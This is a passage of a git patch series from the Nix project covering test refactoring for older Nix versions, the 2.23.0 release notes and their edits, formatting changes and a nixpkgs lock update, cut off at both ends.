-  remoteBuilds_local_2_13 = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: {
-    name = "remoteBuilds_local_2_13";
-    imports = [ ./remote-builds.nix ];
-    nodes.client = { lib, pkgs, ... }: {
-      imports = [ checkOverrideNixVersion ];
-      nix.package = lib.mkForce (
-        self.inputs.nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs (o: {
-          meta = o.meta // { knownVulnerabilities = []; };
-        })
-      );
-    };
-  });
+in
 
-  # TODO: (nixpkgs update) remoteBuilds_local_2_18 = ...
+{
+  authorization = runNixOSTestFor "x86_64-linux" ./authorization.nix;
 
-  # End remoteBuilds tests
+  remoteBuilds = runNixOSTestFor "x86_64-linux" ./remote-builds.nix;
 
   remoteBuildsSshNg = runNixOSTestFor "x86_64-linux" ./remote-builds-ssh-ng.nix;
 
-  # Test our Nix as a client against remotes that are older
-
-  remoteBuildsSshNg_remote_2_3 = runNixOSTestFor "x86_64-linux" {
-    name = "remoteBuildsSshNg_remote_2_3";
-    imports = [ ./remote-builds-ssh-ng.nix ];
-    builders.config = { lib, pkgs, ... }: {
-      imports = [ checkOverrideNixVersion ];
-      nix.package = lib.mkForce pkgs.nixVersions.nix_2_3;
+}
+// lib.concatMapAttrs (
+  nixVersion: { setNixPackage, ... }:
+  {
+    "remoteBuilds_remote_${nixVersion}" = runNixOSTestFor "x86_64-linux" {
+      name = "remoteBuilds_remote_${nixVersion}";
+      imports = [ ./remote-builds.nix ];
+      builders.config = { lib, pkgs, ... }: {
+        imports = [ setNixPackage ];
+      };
     };
-  };
 
-  remoteBuildsSshNg_remote_2_13 = runNixOSTestFor "x86_64-linux" {
-    name = "remoteBuildsSshNg_remote_2_13";
-    imports = [ ./remote-builds-ssh-ng.nix ];
-    builders.config = { lib, pkgs, ... }: {
-      imports = [ checkOverrideNixVersion ];
-      nix.package = lib.mkForce pkgs.nixVersions.nix_2_13;
+    "remoteBuilds_local_${nixVersion}" = runNixOSTestFor "x86_64-linux" {
+      name = "remoteBuilds_local_${nixVersion}";
+      imports = [ ./remote-builds.nix ];
+      nodes.client = { lib, pkgs, ... }: {
+        imports = [ setNixPackage ];
+      };
     };
-  };
-
-  # TODO: (nixpkgs update) remoteBuildsSshNg_remote_2_18 = ...
 
-  # Test our Nix as a builder for clients that are older
-
-  # FIXME: these tests don't work yet
-  /*
-  remoteBuildsSshNg_local_2_3 = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: {
-    name = "remoteBuildsSshNg_local_2_3";
-    imports = [ ./remote-builds-ssh-ng.nix ];
-    nodes.client = { lib, pkgs, ... }: {
-      imports = [ checkOverrideNixVersion ];
-      nix.package = lib.mkForce pkgs.nixVersions.nix_2_3;
-    };
-  });
-
-  remoteBuildsSshNg_local_2_13 = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: {
-    name = "remoteBuildsSshNg_local_2_13";
-    imports = [ ./remote-builds-ssh-ng.nix ];
-    nodes.client = { lib, pkgs, ... }: {
-      imports = [ checkOverrideNixVersion ];
-      nix.package = lib.mkForce pkgs.nixVersions.nix_2_13;
+    "remoteBuildsSshNg_remote_${nixVersion}" = runNixOSTestFor "x86_64-linux" {
+      name = "remoteBuildsSshNg_remote_${nixVersion}";
+      imports = [ ./remote-builds-ssh-ng.nix ];
+      builders.config = { lib, pkgs, ... }: {
+        imports = [ setNixPackage ];
+      };
     };
-  });
 
-  # TODO: (nixpkgs update) remoteBuildsSshNg_local_2_18 = ...
-  */
+    # FIXME: these tests don't work yet
+
+    # "remoteBuildsSshNg_local_${nixVersion}" = runNixOSTestFor "x86_64-linux" {
+    #   name = "remoteBuildsSshNg_local_${nixVersion}";
+    #   imports = [ ./remote-builds-ssh-ng.nix ];
+    #   nodes.client = { lib, pkgs, ... }: {
+    #     imports = [ overridingModule ];
+    #   };
+    # };
+  }
+) otherNixes
+// {
 
   nix-copy-closure = runNixOSTestFor "x86_64-linux" ./nix-copy-closure.nix;
 

From 8a510f4ede604f91a2f0fea108cf50bf564a5ed1 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 17:33:38 +0200
Subject: [PATCH 258/528] Add tests.remoteBuilds_*_2_18

---
 tests/nixos/default.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
index 78f91ae1b47..d8531b2c85c 100644
--- a/tests/nixos/default.nix
+++ b/tests/nixos/default.nix
@@ -52,6 +52,11 @@ let
     );
   };
 
+  otherNixes.nix_2_18.setNixPackage = { lib, pkgs, ... }: {
+    imports = [ checkOverrideNixVersion ];
+    nix.package = lib.mkForce pkgs.nixVersions.nix_2_18;
+  };
+
 in
 
 {

From 754ea9058daebaaa85e7c6e683a54b948b96bdec Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 3 Jun 2024 18:06:42 +0200
Subject: [PATCH 259/528] release notes: 2.23.0

---
 doc/manual/rl-next/builtins-warn.md           |  10 --
 doc/manual/rl-next/consistent-nix-build.md    |   6 --
 doc/manual/rl-next/derivation-json-change.md  |  12 ---
 .../rl-next/fix-silent-unknown-options.md     |  28 -----
 doc/manual/rl-next/nix-env-shell.md           |  12 ---
 .../print-value-in-installable-flake-error.md |  18 ----
 .../shallow-git-fetching-by-default.md        |  12 ---
 doc/manual/rl-next/store-object-info.md       |  11 --
 doc/manual/rl-next/warn-large-path.md         |  11 --
 doc/manual/src/SUMMARY.md.in                  |   1 +
 doc/manual/src/release-notes/rl-2.23.md       | 102 ++++++++++++++++++
 11 files changed, 103 insertions(+), 120 deletions(-)
 delete mode 100644 doc/manual/rl-next/builtins-warn.md
 delete mode 100644 doc/manual/rl-next/consistent-nix-build.md
 delete mode 100644 doc/manual/rl-next/derivation-json-change.md
 delete mode 100644 doc/manual/rl-next/fix-silent-unknown-options.md
 delete mode 100644 doc/manual/rl-next/nix-env-shell.md
 delete mode 100644 doc/manual/rl-next/print-value-in-installable-flake-error.md
 delete mode 100644 doc/manual/rl-next/shallow-git-fetching-by-default.md
 delete mode 100644 doc/manual/rl-next/store-object-info.md
 delete mode 100644 doc/manual/rl-next/warn-large-path.md
 create mode 100644 doc/manual/src/release-notes/rl-2.23.md

diff --git a/doc/manual/rl-next/builtins-warn.md b/doc/manual/rl-next/builtins-warn.md
deleted file mode 100644
index f805e1610ba..00000000000
--- a/doc/manual/rl-next/builtins-warn.md
+++ /dev/null
@@ -1,10 +0,0 @@
----
-synopsis: "New builtin: `builtins.warn`"
-issues: 306026
-prs: 10592
----
-
-`builtins.warn` behaves like `builtins.trace "warning: ${msg}"`, has an accurate log level, and is controlled by the options
-[`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace),
-[`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) and
-[`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn).
diff --git a/doc/manual/rl-next/consistent-nix-build.md b/doc/manual/rl-next/consistent-nix-build.md
deleted file mode 100644
index d5929dc8e99..00000000000
--- a/doc/manual/rl-next/consistent-nix-build.md
+++ /dev/null
@@ -1,6 +0,0 @@
----
-synopsis: Show all FOD errors with `nix build --keep-going`
----
-
-`nix build --keep-going` now behaves consistently with `nix-build --keep-going`. This means
-that if e.g. multiple FODs fail to build, all hash mismatches are displayed.
diff --git a/doc/manual/rl-next/derivation-json-change.md b/doc/manual/rl-next/derivation-json-change.md
deleted file mode 100644
index 2a1d40e836c..00000000000
--- a/doc/manual/rl-next/derivation-json-change.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-synopsis: Modify `nix derivation {add,show}` JSON format
-issues: 9866
-prs: 10722
----
-
-The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@contributing/cli-guideline#returning-future-proof-json).
-In particular, the hash algorithm and content addressing method of content-addresed derivation outputs is now separated into two fields `hashAlgo` and `method`,
-rather than one field with an arcane `:`-separated format.
-
-This JSON format is only used by the experimental `nix derivation` family of commands, at this time.
-Future revisions are expected as the JSON format is still not entirely in compliance even after these changes.
diff --git a/doc/manual/rl-next/fix-silent-unknown-options.md b/doc/manual/rl-next/fix-silent-unknown-options.md
deleted file mode 100644
index 0977260ac8d..00000000000
--- a/doc/manual/rl-next/fix-silent-unknown-options.md
+++ /dev/null
@@ -1,28 +0,0 @@
----
-synopsis: Warn on unknown settings anywhere in the command line
-prs: 10701
----
-
-All `nix` commands will now properly warn when an unknown option is specified anywhere in the command line.
-
-Before:
-
-```console
-$ nix-instantiate --option foobar baz --expr '{}'
-warning: unknown setting 'foobar'
-$ nix-instantiate '{}' --option foobar baz --expr
-$ nix eval --expr '{}' --option foobar baz
-{ }
-```
-
-After:
-
-```console
-$ nix-instantiate --option foobar baz --expr '{}'
-warning: unknown setting 'foobar'
-$ nix-instantiate '{}' --option foobar baz --expr
-warning: unknown setting 'foobar'
-$ nix eval --expr '{}' --option foobar baz
-warning: unknown setting 'foobar'
-{ }
-```
diff --git a/doc/manual/rl-next/nix-env-shell.md b/doc/manual/rl-next/nix-env-shell.md
deleted file mode 100644
index b2344417a9d..00000000000
--- a/doc/manual/rl-next/nix-env-shell.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-synopsis: "`nix env shell` is the new `nix shell`, and `nix shell` remains an accepted alias"
-issues: 10504
-prs: 10807
----
-
-This is part of an effort to bring more structure to the CLI subcommands.
-
-`nix env` will be about the process environment.
-Future commands may include `nix env run` and `nix env print-env`.
-
-It is also somewhat analogous to the [planned](https://github.com/NixOS/nix/issues/10504) `nix dev shell` (currently `nix develop`), which is less about environment variables, and more about running a development shell, which is a more powerful command, but also requires more setup.
diff --git a/doc/manual/rl-next/print-value-in-installable-flake-error.md b/doc/manual/rl-next/print-value-in-installable-flake-error.md
deleted file mode 100644
index bb35e252e30..00000000000
--- a/doc/manual/rl-next/print-value-in-installable-flake-error.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-synopsis: New-cli flake commands that expect derivations now print the failing value and its type
-prs: 10778
----
-
-In errors like `flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path`, the message now includes the failing value and type.
-
-Before:
-
-```
-    error: flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path
-````
-
-After:
-
-```
-    error: expected flake output attribute 'nixosConfigurations.yuki.config' to be a derivation or path but found a set: { appstream = «thunk»; assertions = «thunk»; boot = { bcache = «thunk»; binfmt = «thunk»; binfmtMiscRegistrations = «thunk»; blacklistedKernelModules = «thunk»; bootMount = «thunk»; bootspec = «thunk»; cleanTmpDir = «thunk»; consoleLogLevel = «thunk»; «43 attributes elided» }; «48 attributes elided» }
-```
diff --git a/doc/manual/rl-next/shallow-git-fetching-by-default.md b/doc/manual/rl-next/shallow-git-fetching-by-default.md
deleted file mode 100644
index 4d044f881d3..00000000000
--- a/doc/manual/rl-next/shallow-git-fetching-by-default.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-synopsis: "`fetchTree` now fetches git repositories shallowly by default"
-prs: 10028
----
-
-`builtins.fetchTree` now clones git repositories shallowly by default, which reduces network traffic and disk usage significantly in many cases.
-
-Previously, the default behavior was to clone the full history of a specific tag or branch (eg. `ref`) and only afterwards extract the files of one specific revision.
-
-From now on, the `ref` and `allRefs` arguments will be ignored, except if shallow cloning is disabled by setting `shallow = false`.
-
-The defaults for `builtins.fetchGit` remain unchanged. Here, shallow cloning has to be enabled manually by passing `shallow = true`.
diff --git a/doc/manual/rl-next/store-object-info.md b/doc/manual/rl-next/store-object-info.md
deleted file mode 100644
index ab8f5fec07b..00000000000
--- a/doc/manual/rl-next/store-object-info.md
+++ /dev/null
@@ -1,11 +0,0 @@
----
-synopsis: Store object info JSON format now uses `null` rather than omitting fields.
-prs: 9995
----
-
-The [store object info JSON format](@docroot@/protocols/json/store-object-info.md), used for e.g. `nix path-info`, no longer omits fields to indicate absent information, but instead includes the fields with a `null` value.
-For example, `"ca": null` is used to to indicate a store object that isn't content-addressed rather than omitting the `ca` field entirely.
-This makes records of this sort more self-describing, and easier to consume programmatically.
-
-We will follow this design principle going forward;
-the [JSON guidelines](@docroot@/contributing/json-guideline.md) in the contributing section have been updated accordingly.
diff --git a/doc/manual/rl-next/warn-large-path.md b/doc/manual/rl-next/warn-large-path.md
deleted file mode 100644
index 5ee3e307fa7..00000000000
--- a/doc/manual/rl-next/warn-large-path.md
+++ /dev/null
@@ -1,11 +0,0 @@
----
-synopsis: Large path warnings
-prs: 10661
----
-
-Nix can now warn when evaluation of a Nix expression causes a large
-path to be copied to the Nix store. The threshold for this warning can
-be configured using [the `warn-large-path-threshold`
-setting](@docroot@/command-ref/conf-file.md#warn-large-path-threshold),
-e.g. `--warn-large-path-threshold 100M` will warn about paths larger
-than 100 MiB.
diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in
index 18e7e838005..cb54a3822d1 100644
--- a/doc/manual/src/SUMMARY.md.in
+++ b/doc/manual/src/SUMMARY.md.in
@@ -125,6 +125,7 @@
   - [C++ style guide](contributing/cxx.md)
 - [Releases](release-notes/index.md)
 {{#include ./SUMMARY-rl-next.md}}
+  - [Release 2.23 (2024-06-03)](release-notes/rl-2.23.md)
   - [Release 2.22 (2024-04-23)](release-notes/rl-2.22.md)
   - [Release 2.21 (2024-03-11)](release-notes/rl-2.21.md)
   - [Release 2.20 (2024-01-29)](release-notes/rl-2.20.md)
diff --git a/doc/manual/src/release-notes/rl-2.23.md b/doc/manual/src/release-notes/rl-2.23.md
new file mode 100644
index 00000000000..c08782122ca
--- /dev/null
+++ b/doc/manual/src/release-notes/rl-2.23.md
@@ -0,0 +1,102 @@
+# Release 2.23.0 (2024-06-03)
+
+- New builtin: `builtins.warn` [#306026](https://github.com/NixOS/nix/issues/306026) [#10592](https://github.com/NixOS/nix/pull/10592)
+
+  `builtins.warn` behaves like `builtins.trace "warning: ${msg}"`, has an accurate log level, and is controlled by the options
+  [`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace),
+  [`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) and
+  [`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn).
+
+- Show all FOD errors with `nix build --keep-going`
+
+  `nix build --keep-going` now behaves consistently with `nix-build --keep-going`. This means
+  that if e.g. multiple FODs fail to build, all hash mismatches are displayed.
+
+- Modify `nix derivation {add,show}` JSON format [#9866](https://github.com/NixOS/nix/issues/9866) [#10722](https://github.com/NixOS/nix/pull/10722)
+
+  The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@contributing/cli-guideline#returning-future-proof-json).
+  In particular, the hash algorithm and content addressing method of content-addresed derivation outputs is now separated into two fields `hashAlgo` and `method`,
+  rather than one field with an arcane `:`-separated format.
+
+  This JSON format is only used by the experimental `nix derivation` family of commands, at this time.
+  Future revisions are expected as the JSON format is still not entirely in compliance even after these changes.
+
+- Warn on unknown settings anywhere in the command line [#10701](https://github.com/NixOS/nix/pull/10701)
+
+  All `nix` commands will now properly warn when an unknown option is specified anywhere in the command line.
+
+  Before:
+
+  ```console
+  $ nix-instantiate --option foobar baz --expr '{}'
+  warning: unknown setting 'foobar'
+  $ nix-instantiate '{}' --option foobar baz --expr
+  $ nix eval --expr '{}' --option foobar baz
+  { }
+  ```
+
+  After:
+
+  ```console
+  $ nix-instantiate --option foobar baz --expr '{}'
+  warning: unknown setting 'foobar'
+  $ nix-instantiate '{}' --option foobar baz --expr
+  warning: unknown setting 'foobar'
+  $ nix eval --expr '{}' --option foobar baz
+  warning: unknown setting 'foobar'
+  { }
+  ```
+
+- `nix env shell` is the new `nix shell`, and `nix shell` remains an accepted alias [#10504](https://github.com/NixOS/nix/issues/10504) [#10807](https://github.com/NixOS/nix/pull/10807)
+
+  This is part of an effort to bring more structure to the CLI subcommands.
+
+  `nix env` will be about the process environment.
+  Future commands may include `nix env run` and `nix env print-env`.
+
+  It is also somewhat analogous to the [planned](https://github.com/NixOS/nix/issues/10504) `nix dev shell` (currently `nix develop`), which is less about environment variables, and more about running a development shell, which is a more powerful command, but also requires more setup.
+
+- New-cli flake commands that expect derivations now print the failing value and its type [#10778](https://github.com/NixOS/nix/pull/10778)
+
+  In errors like `flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path`, the message now includes the failing value and type.
+
+  Before:
+
+  ```
+      error: flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path
+  ````
+
+  After:
+
+  ```
+      error: expected flake output attribute 'nixosConfigurations.yuki.config' to be a derivation or path but found a set: { appstream = «thunk»; assertions = «thunk»; boot = { bcache = «thunk»; binfmt = «thunk»; binfmtMiscRegistrations = «thunk»; blacklistedKernelModules = «thunk»; bootMount = «thunk»; bootspec = «thunk»; cleanTmpDir = «thunk»; consoleLogLevel = «thunk»; «43 attributes elided» }; «48 attributes elided» }
+  ```
+
+- `fetchTree` now fetches git repositories shallowly by default [#10028](https://github.com/NixOS/nix/pull/10028)
+
+  `builtins.fetchTree` now clones git repositories shallowly by default, which reduces network traffic and disk usage significantly in many cases.
+
+  Previously, the default behavior was to clone the full history of a specific tag or branch (eg. `ref`) and only afterwards extract the files of one specific revision.
+
+  From now on, the `ref` and `allRefs` arguments will be ignored, except if shallow cloning is disabled by setting `shallow = false`.
+
+  The defaults for `builtins.fetchGit` remain unchanged. Here, shallow cloning has to be enabled manually by passing `shallow = true`.
+
+- Store object info JSON format now uses `null` rather than omitting fields. [#9995](https://github.com/NixOS/nix/pull/9995)
+
+  The [store object info JSON format](@docroot@/protocols/json/store-object-info.md), used for e.g. `nix path-info`, no longer omits fields to indicate absent information, but instead includes the fields with a `null` value.
+  For example, `"ca": null` is used to to indicate a store object that isn't content-addressed rather than omitting the `ca` field entirely.
+  This makes records of this sort more self-describing, and easier to consume programmatically.
+
+  We will follow this design principle going forward;
+  the [JSON guidelines](@docroot@/contributing/json-guideline.md) in the contributing section have been updated accordingly.
+
+- Large path warnings [#10661](https://github.com/NixOS/nix/pull/10661)
+
+  Nix can now warn when evaluation of a Nix expression causes a large
+  path to be copied to the Nix store. The threshold for this warning can
+  be configured using [the `warn-large-path-threshold`
+  setting](@docroot@/command-ref/conf-file.md#warn-large-path-threshold),
+  e.g. `--warn-large-path-threshold 100M` will warn about paths larger
+  than 100 MiB.
+

From 879089e80d91c68b4487d5540d170d565958c720 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 3 Jun 2024 18:13:37 +0200
Subject: [PATCH 260/528] Edit release notes

---
 doc/manual/src/release-notes/rl-2.23.md | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/doc/manual/src/release-notes/rl-2.23.md b/doc/manual/src/release-notes/rl-2.23.md
index c08782122ca..0f799c1df16 100644
--- a/doc/manual/src/release-notes/rl-2.23.md
+++ b/doc/manual/src/release-notes/rl-2.23.md
@@ -7,15 +7,15 @@
   [`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) and
   [`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn).
 
-- Show all FOD errors with `nix build --keep-going`
+- Make `nix build --keep-going` consistent with `nix-build --keep-going`
 
-  `nix build --keep-going` now behaves consistently with `nix-build --keep-going`. This means
-  that if e.g. multiple FODs fail to build, all hash mismatches are displayed.
+  This means that if e.g. multiple fixed-output derivations fail to
+  build, all hash mismatches are displayed.
 
 - Modify `nix derivation {add,show}` JSON format [#9866](https://github.com/NixOS/nix/issues/9866) [#10722](https://github.com/NixOS/nix/pull/10722)
 
   The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@contributing/cli-guideline#returning-future-proof-json).
-  In particular, the hash algorithm and content addressing method of content-addresed derivation outputs is now separated into two fields `hashAlgo` and `method`,
+  In particular, the hash algorithm and content addressing method of content-addresed derivation outputs are now separated into two fields `hashAlgo` and `method`,
   rather than one field with an arcane `:`-separated format.
 
   This JSON format is only used by the experimental `nix derivation` family of commands, at this time.
@@ -56,33 +56,33 @@
 
   It is also somewhat analogous to the [planned](https://github.com/NixOS/nix/issues/10504) `nix dev shell` (currently `nix develop`), which is less about environment variables, and more about running a development shell, which is a more powerful command, but also requires more setup.
 
-- New-cli flake commands that expect derivations now print the failing value and its type [#10778](https://github.com/NixOS/nix/pull/10778)
+- Flake operations that expect derivations now print the failing value and its type [#10778](https://github.com/NixOS/nix/pull/10778)
 
   In errors like `flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path`, the message now includes the failing value and type.
 
   Before:
 
   ```
-      error: flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path
+  error: flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path
   ````
 
   After:
 
   ```
-      error: expected flake output attribute 'nixosConfigurations.yuki.config' to be a derivation or path but found a set: { appstream = «thunk»; assertions = «thunk»; boot = { bcache = «thunk»; binfmt = «thunk»; binfmtMiscRegistrations = «thunk»; blacklistedKernelModules = «thunk»; bootMount = «thunk»; bootspec = «thunk»; cleanTmpDir = «thunk»; consoleLogLevel = «thunk»; «43 attributes elided» }; «48 attributes elided» }
+  error: expected flake output attribute 'nixosConfigurations.yuki.config' to be a derivation or path but found a set: { appstream = «thunk»; assertions = «thunk»; boot = { bcache = «thunk»; binfmt = «thunk»; binfmtMiscRegistrations = «thunk»; blacklistedKernelModules = «thunk»; bootMount = «thunk»; bootspec = «thunk»; cleanTmpDir = «thunk»; consoleLogLevel = «thunk»; «43 attributes elided» }; «48 attributes elided» }
   ```
 
-- `fetchTree` now fetches git repositories shallowly by default [#10028](https://github.com/NixOS/nix/pull/10028)
+- `fetchTree` now fetches Git repositories shallowly by default [#10028](https://github.com/NixOS/nix/pull/10028)
 
-  `builtins.fetchTree` now clones git repositories shallowly by default, which reduces network traffic and disk usage significantly in many cases.
+  `builtins.fetchTree` now clones Git repositories shallowly by default, which reduces network traffic and disk usage significantly in many cases.
 
-  Previously, the default behavior was to clone the full history of a specific tag or branch (eg. `ref`) and only afterwards extract the files of one specific revision.
+  Previously, the default behavior was to clone the full history of a specific tag or branch (e.g. `ref`) and only afterwards extract the files of one specific revision.
 
   From now on, the `ref` and `allRefs` arguments will be ignored, except if shallow cloning is disabled by setting `shallow = false`.
 
   The defaults for `builtins.fetchGit` remain unchanged. Here, shallow cloning has to be enabled manually by passing `shallow = true`.
 
-- Store object info JSON format now uses `null` rather than omitting fields. [#9995](https://github.com/NixOS/nix/pull/9995)
+- Store object info JSON format now uses `null` rather than omitting fields [#9995](https://github.com/NixOS/nix/pull/9995)
 
   The [store object info JSON format](@docroot@/protocols/json/store-object-info.md), used for e.g. `nix path-info`, no longer omits fields to indicate absent information, but instead includes the fields with a `null` value.
   For example, `"ca": null` is used to to indicate a store object that isn't content-addressed rather than omitting the `ca` field entirely.

From e6ba450ce2b2073ecb72195bb100d0143d1083ac Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 18:17:39 +0200
Subject: [PATCH 261/528] .clang-format: Remove duplicated key

---
 .clang-format | 1 -
 1 file changed, 1 deletion(-)

diff --git a/.clang-format b/.clang-format
index f5d7fb7112c..3067583e106 100644
--- a/.clang-format
+++ b/.clang-format
@@ -31,4 +31,3 @@ AlwaysBreakBeforeMultilineStrings: true
 IndentPPDirectives: AfterHash
 PPIndentWidth: 2
 BinPackArguments: false
-BinPackParameters: false

From 27f880c098c684d19df1cea34fe72388d00c9699 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 18:19:37 +0200
Subject: [PATCH 262/528] Format after clang-format update

---
 src/libexpr-c/nix_api_expr.h                  | 12 ++---
 tests/unit/libstore/store-reference.cc        | 46 +++++++++----------
 .../libutil-support/tests/string_callback.hh  |  2 +-
 3 files changed, 30 insertions(+), 30 deletions(-)

diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index 0d324b1489b..ede7d099f2f 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -114,12 +114,12 @@ nix_err nix_value_call_multi(
  *
  * @see nix_value_call_multi
  */
-#define NIX_VALUE_CALL(context, state, value, fn, ...)                  \
-  do {                                                                  \
-    Value * args_array[] = {__VA_ARGS__};                               \
-    size_t nargs = sizeof(args_array) / sizeof(args_array[0]);          \
-    nix_value_call_multi(context, state, fn, nargs, args_array, value); \
-  } while (0)
+#define NIX_VALUE_CALL(context, state, value, fn, ...)                      \
+    do {                                                                    \
+        Value * args_array[] = {__VA_ARGS__};                               \
+        size_t nargs = sizeof(args_array) / sizeof(args_array[0]);          \
+        nix_value_call_multi(context, state, fn, nargs, args_array, value); \
+    } while (0)
 
 /**
  * @brief Forces the evaluation of a Nix value.
diff --git a/tests/unit/libstore/store-reference.cc b/tests/unit/libstore/store-reference.cc
index 16e033ec44f..052cd7beddd 100644
--- a/tests/unit/libstore/store-reference.cc
+++ b/tests/unit/libstore/store-reference.cc
@@ -21,29 +21,29 @@ class StoreReferenceTest : public CharacterizationTest, public LibStoreTest
     }
 };
 
-#define URI_TEST_READ(STEM, OBJ)                         \
-  TEST_F(StoreReferenceTest, PathInfo_##STEM##_from_uri) \
-  {                                                      \
-    readTest(#STEM, ([&](const auto & encoded) {         \
-           StoreReference expected = OBJ;                \
-           auto got = StoreReference::parse(encoded);    \
-           ASSERT_EQ(got, expected);                     \
-             }));                                        \
-  }
-
-#define URI_TEST_WRITE(STEM, OBJ)                                                           \
-  TEST_F(StoreReferenceTest, PathInfo_##STEM##_to_uri)                                      \
-  {                                                                                         \
-    writeTest(                                                                              \
-        #STEM,                                                                              \
-        [&]() -> StoreReference { return OBJ; },                                            \
-        [](const auto & file) { return StoreReference::parse(readFile(file)); },            \
-        [](const auto & file, const auto & got) { return writeFile(file, got.render()); }); \
-  }
-
-#define URI_TEST(STEM, OBJ) \
-  URI_TEST_READ(STEM, OBJ)  \
-  URI_TEST_WRITE(STEM, OBJ)
+#define URI_TEST_READ(STEM, OBJ)                                \
+    TEST_F(StoreReferenceTest, PathInfo_##STEM##_from_uri)      \
+    {                                                           \
+        readTest(#STEM, ([&](const auto & encoded) {            \
+                     StoreReference expected = OBJ;             \
+                     auto got = StoreReference::parse(encoded); \
+                     ASSERT_EQ(got, expected);                  \
+                 }));                                           \
+    }
+
+#define URI_TEST_WRITE(STEM, OBJ)                                                               \
+    TEST_F(StoreReferenceTest, PathInfo_##STEM##_to_uri)                                        \
+    {                                                                                           \
+        writeTest(                                                                              \
+            #STEM,                                                                              \
+            [&]() -> StoreReference { return OBJ; },                                            \
+            [](const auto & file) { return StoreReference::parse(readFile(file)); },            \
+            [](const auto & file, const auto & got) { return writeFile(file, got.render()); }); \
+    }
+
+#define URI_TEST(STEM, OBJ)  \
+    URI_TEST_READ(STEM, OBJ) \
+    URI_TEST_WRITE(STEM, OBJ)
 
 URI_TEST(
     auto,
diff --git a/tests/unit/libutil-support/tests/string_callback.hh b/tests/unit/libutil-support/tests/string_callback.hh
index 3a3e545e9d4..a02ea3a1b69 100644
--- a/tests/unit/libutil-support/tests/string_callback.hh
+++ b/tests/unit/libutil-support/tests/string_callback.hh
@@ -11,6 +11,6 @@ inline void * observe_string_cb_data(std::string & out)
 };
 
 #define OBSERVE_STRING(str) \
-  (nix_get_string_callback) nix::testing::observe_string_cb, nix::testing::observe_string_cb_data(str)
+    (nix_get_string_callback) nix::testing::observe_string_cb, nix::testing::observe_string_cb_data(str)
 
 }

From 5ddc11d0eb99bb00a1c1d35f6256ff08f2043897 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 18:47:07 +0200
Subject: [PATCH 263/528] Update nixpkgs

---
 flake.lock | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/flake.lock b/flake.lock
index ee976a3d9f7..f64e3ea3712 100644
--- a/flake.lock
+++ b/flake.lock
@@ -69,11 +69,11 @@
     },
     "nixpkgs": {
       "locked": {
-        "lastModified": 1717413331,
-        "narHash": "sha256-oxsqQB/UwJNCTWUpndQgoz14731mgaWg/zYHrVwGoco=",
+        "lastModified": 1717432640,
+        "narHash": "sha256-+f9c4/ZX5MWDOuB1rKoWj+lBNm0z0rs4CK47HBLxy1o=",
         "owner": "NixOS",
         "repo": "nixpkgs",
-        "rev": "88dca77be222aedd1f47d2cf0942dffefee76216",
+        "rev": "88269ab3044128b7c2f4c7d68448b2fb50456870",
         "type": "github"
       },
       "original": {

From d494ac15e2e356ea331638e1fa138ee3df0088f8 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 18:38:38 +0200
Subject: [PATCH 264/528] Use Nixpkgs changelog-d

---
 flake.nix                  |  6 ++----
 maintainers/release-notes  |  2 +-
 misc/changelog-d.cabal.nix | 31 -------------------------------
 misc/changelog-d.nix       | 31 -------------------------------
 4 files changed, 3 insertions(+), 67 deletions(-)
 delete mode 100644 misc/changelog-d.cabal.nix
 delete mode 100644 misc/changelog-d.nix

diff --git a/flake.nix b/flake.nix
index b07e0568434..a146079f48e 100644
--- a/flake.nix
+++ b/flake.nix
@@ -159,8 +159,6 @@
             };
           });
 
-          changelog-d-nix = final.buildPackages.callPackage ./misc/changelog-d.nix { };
